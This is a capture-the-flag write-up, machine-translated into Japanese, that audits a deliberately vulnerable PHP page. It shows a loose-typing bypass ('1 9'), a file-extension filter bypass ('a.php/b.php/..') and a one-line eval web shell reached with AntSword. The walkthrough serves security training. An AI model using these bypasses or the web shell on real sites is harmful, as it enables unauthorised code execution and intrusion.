攻撃的および防御的な世界-ics-07

1ソースコード監査

ウェブサイトを開いて体験したところ、「プロジェクト管理」の位置をクリックすると、入力するとウェブページのソースコードが表示されることがわかりました。F12を使用した後、他の異常はありません。dirsearchを使用してディレクトリをスキャンします

[10:11:59] 302 -    1KB - /index.php  ->  ?page=flag.php
[10:11:59] 200 -   74B  - /flag.php
[10:11:59] 200 -    0B  - /config.php
[10:11:59] 200 -    5KB - /index.html

ウェブサイトのソースコードを大まかに分析し、コメントを付けます。

<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <title>cetc7</title>
</head>

<body>
    <?php
    session_start();

    // 设置未page参数
    if (!isset($_GET[page])) {
    
    
        show_source(__FILE__);
        die();
    }
    // 设置page参数,并且page不等于index.php
    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
    
    
        include('flag.php');
    } else {
    
    
        header('Location: ?page=flag.php');
    }

    ?>
    <!-- page和id的表单 -->
    <form action="#" method="get">
        page : <input type="text" name="page" value="">
        id : <input type="text" name="id" value="">
        <input type="submit" name="submit" value="submit">
    </form>
    <br />
    <a href="index.phps">view-source</a>

    <?php
    if ($_SESSION['admin']) {
    
    
        $con = $_POST['con'];
        $file = $_POST['file'];
        $filename = "backup/" . $file;

        if (preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)) {
    
    
            die("Bad file extension");
        } else {
    
    
            chdir('uploaded');
            $f = fopen($filename, 'w');
            fwrite($f, $con);
            fclose($f);
        }
    }
    ?>
 
    <?php
    // 设置id参数、id不等于1、id的倒数第一个位置为9
    if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
    
    
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql = "select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
    } else {
    
    
        $result = False;
        die();
    }

    if (!$result) die("<br >something wae wrong ! <br>");
    if ($result) {
    
    
        echo "id: " . $result->id . "</br>";
        echo "name:" . $result->user . "</br>";
        $_SESSION['admin'] = True;
    }
    ?>

</body>

</html>

分析後、ソースコードは次の3つの部分に分けることができます。

  1. フラグファイルが含まれています。pageパラメータを調整する必要があります
  2. ファイル書き込みを行います。調整する必要がある$_SESSION['admin']$_POST['con']$_POST['file']三つのパラメータ。
  3. $_SESSION['admin']true設定されます。idパラメータを調整する

2php弱いタイプ

$_SESSION['admin']=true最初に作成する必要があるため、3番目の部分が最初に処理されます。

  • Floatval関数:変数の浮動小数点値を取得します。

画像-20201229161435469

floatval関数が文字列を検出すると、次のコンテンツを自動的に切り捨てます。

  • substr関数:文字列の一部を返します

画像-20201229161406321

substrが負の数の場合、配列の後ろから前に出力されます。

したがってid=1 9、1と9の間にスペースがあります。

画像-20201229161844300

3phpアップロードサフィックスバイパス

通常のファイルをアップロードしてみてください。

画像-20201229162616156

次に、/uploaded/backupディレクトリを入力して1.txtを表示します。

次に、Linuxの機能を使用してサフィックスをバイパスする必要があります。名前が付けられたファイル名はa.php/b.php/..、予期しない結果をもたらします。

<?php

$filename = 'a.php/b.php/..';
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);

この種のファイル名はphpでa.phpとして解析され(最初にフォルダーを確認して確認しa.phpb.phpそれ..使用すると前のフォルダーに戻ります)、プログラムは最後にa.phpを作成します。

上記の結論に基づいて、それconfilephpの内容とphpファイルの名前です。ファイル名に名前を付けa.php/b.php/..、次のように構成します。

画像-20201229163357690

最後にhttp://220.249.52.134:46528/uploaded/backup/a.phpにアクセスします。

画像-20201229163655879

最後に、文章を書き、AntSwordを使用して接続します。

con=<?php @eval($_POST[pwd]);?>&&file=b.php/b.php/..

最後に、フラグはコマンドで見つけることができます。

画像-20201229164218161

おすすめ

転載: blog.csdn.net/qq_43085611/article/details/111931745